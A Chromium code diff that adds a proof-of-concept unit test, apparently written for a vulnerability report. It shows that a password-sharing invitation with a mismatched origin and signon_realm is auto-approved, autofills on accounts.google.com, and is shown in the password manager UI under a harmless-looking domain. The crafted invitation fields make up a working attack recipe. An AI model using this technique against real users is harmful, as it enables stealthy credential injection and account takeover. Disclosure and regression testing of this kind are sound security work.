diff --git a/components/password_manager/core/browser/sharing/BUILD.gn b/components/password_manager/core/browser/sharing/BUILD.gn index 2ffd7c1131863..48827a5fea6e3 100644 --- a/components/password_manager/core/browser/sharing/BUILD.gn +++ b/components/password_manager/core/browser/sharing/BUILD.gn @@ -81,6 +81,8 @@ source_set("unit_tests") { "//components/password_manager/core/browser:password_form", "//components/password_manager/core/browser:test_support", "//components/password_manager/core/browser/features:password_features", + "//components/password_manager/core/browser/password_store:password_store_impl", + "//components/password_manager/core/browser/ui:credential_ui_entry", "//components/password_manager/core/common", "//components/prefs", "//components/prefs:test_support", diff --git a/components/password_manager/core/browser/sharing/password_receiver_service_impl_unittest.cc b/components/password_manager/core/browser/sharing/password_receiver_service_impl_unittest.cc index 3e34812147c20..f3ffb631ec16d 100644 --- a/components/password_manager/core/browser/sharing/password_receiver_service_impl_unittest.cc +++ b/components/password_manager/core/browser/sharing/password_receiver_service_impl_unittest.cc @@ -19,8 +19,10 @@ #include "components/password_manager/core/browser/features/password_manager_features_util.h" #include "components/password_manager/core/browser/password_form.h" #include "components/password_manager/core/browser/password_manager_metrics_util.h" +#include "components/password_manager/core/browser/password_store/psl_matching_helper.h" #include "components/password_manager/core/browser/password_store/test_password_store.h" #include "components/password_manager/core/browser/sharing/incoming_password_sharing_invitation_sync_bridge.h" +#include "components/password_manager/core/browser/ui/credential_ui_entry.h" #include "components/password_manager/core/common/password_manager_pref_names.h" #include "components/sync/base/features.h" #include "components/sync/base/user_selectable_type.h" @@ -638,6 +640,115 @@ TEST_F(PasswordReceiverServiceImplTest, ShouldIgnoreInvalidPasswordForm) { 1); } +// --------------------------------------------------------------------------- +// POC: signon_realm/url mismatch enables stealth credential injection with +// UI display evasion. +// +// IsValidSharedPasswordForm() validates form.url.is_valid() and +// form.signon_realm non-empty/<=1024, but never verifies they refer to the +// same origin. A malicious Google Family member crafts an invitation with: +// origin = "https://familyphotos.example/" (innocuous, shown in UI) +// signon_realm = "https://accounts.google.com/" (autofill target) +// +// The credential is auto-approved, autofills on accounts.google.com (matched +// by signon_realm), but appears in chrome://password-manager/ as +// "familyphotos.example" (displayed by url), defeating user review. +// --------------------------------------------------------------------------- +TEST_F(PasswordReceiverServiceImplTest, + POC_SignonRealmUrlMismatchAllowsStealthInjection) { + base::HistogramTester histogram_tester; + + constexpr char kInnocuousDisplayUrl[] = "https://familyphotos.example/"; + constexpr char kAutofillTargetRealm[] = "https://accounts.google.com/"; + constexpr char kAttackerUser[] = "attacker@gmail.com"; + constexpr char kAttackerPass[] = "attacker-known-pw"; + + // === 1. Attacker crafts the sync proto. Both fields are independently + // copied from the attacker-controlled HPKE-encrypted payload; the + // sync server cannot inspect them. === + sync_pb::IncomingPasswordSharingInvitationSpecifics invitation; + sync_pb::PasswordSharingInvitationData::PasswordGroupData* group = + invitation.mutable_client_only_unencrypted_data() + ->mutable_password_group_data(); + group->set_username_value(kAttackerUser); + group->set_password_value(kAttackerPass); + + sync_pb::PasswordSharingInvitationData::PasswordGroupElementData* elem = + group->add_element_data(); + elem->set_scheme(0); // kHtml + elem->set_origin(kInnocuousDisplayUrl); // -> form.url + elem->set_signon_realm(kAutofillTargetRealm); // -> form.signon_realm + elem->set_username_element(""); + elem->set_password_element(""); + + sync_pb::UserDisplayInfo* sender = + invitation.mutable_sender_info()->mutable_user_display_info(); + sender->set_email("attacker@example.com"); + sender->set_display_name("Family Member"); + + // === 2. Victim's Chrome receives & processes the invitation. === + password_receiver_service()->ProcessIncomingSharingInvitation(invitation); + RunUntilIdle(); + + // === 3. IsValidSharedPasswordForm() accepted it; auto-approved & stored + // under signon_realm = accounts.google.com. === + histogram_tester.ExpectUniqueSample( + "PasswordManager.ProcessIncomingPasswordSharingInvitationResult", + metrics_util::ProcessIncomingPasswordSharingInvitationResult:: + kInvitationAutoApproved, + 1); + + const auto& store = expected_password_store_for_syncing().stored_passwords(); + ASSERT_TRUE(store.contains(kAutofillTargetRealm)) + << "credential was not stored under the attacker-chosen signon_realm"; + ASSERT_FALSE(store.contains(kInnocuousDisplayUrl)); + ASSERT_EQ(store.at(kAutofillTargetRealm).size(), 1u); + const PasswordForm& injected = store.at(kAutofillTargetRealm)[0]; + + EXPECT_EQ(injected.signon_realm, kAutofillTargetRealm); + EXPECT_EQ(injected.url, GURL(kInnocuousDisplayUrl)); + EXPECT_EQ(injected.username_value, u"attacker@gmail.com"); + EXPECT_EQ(injected.password_value, u"attacker-known-pw"); + EXPECT_EQ(injected.type, PasswordForm::Type::kReceivedViaSharing); + // skip_zero_click defaults to false -> eligible for Credential Management + // API silent auto-sign-in. + EXPECT_FALSE(injected.skip_zero_click); + + // === 4. Autofill: when the victim visits accounts.google.com, the + // FormFetcher builds a digest from the page and GetMatchResult() + // returns EXACT_MATCH purely on signon_realm comparison. === + PasswordFormDigest google_login_page(PasswordForm::Scheme::kHtml, + kAutofillTargetRealm, + GURL(kAutofillTargetRealm)); + EXPECT_EQ(GetMatchResult(injected, google_login_page), + MatchResult::EXACT_MATCH) + << "injected credential autofills on accounts.google.com"; + + // === 5. UI display: chrome://password-manager/ derives the visible domain + // from form.url, NOT signon_realm, so the user sees + // "familyphotos.example" with no hint that it targets Google. === + CredentialUIEntry ui_entry(injected); + EXPECT_EQ(ui_entry.GetURL(), GURL(kInnocuousDisplayUrl)); + std::vector domains = + ui_entry.GetAffiliatedDomains(); + ASSERT_EQ(domains.size(), 1u); + EXPECT_EQ(domains[0].url, GURL(kInnocuousDisplayUrl)); + EXPECT_EQ(domains[0].name, "familyphotos.example"); + EXPECT_NE(domains[0].name, "accounts.google.com") + << "UI never reveals the real autofill target"; + + fprintf( + stderr, + "\n[POC] Mismatched sharing invitation auto-approved.\n" + "[POC] stored signon_realm (autofill target) : %s\n" + "[POC] stored url (UI display) : %s\n" + "[POC] GetMatchResult vs accounts.google.com : EXACT_MATCH\n" + "[POC] CredentialUIEntry display name : %s\n" + "[POC] skip_zero_click : %s\n\n", + injected.signon_realm.c_str(), injected.url.spec().c_str(), + domains[0].name.c_str(), injected.skip_zero_click ? "true" : "false"); +} + TEST_F(PasswordReceiverServiceImplTest, ShouldIgnoreGroupedCredentials) { base::HistogramTester histogram_tester; PasswordForm existing_password = CreatePasswordForm();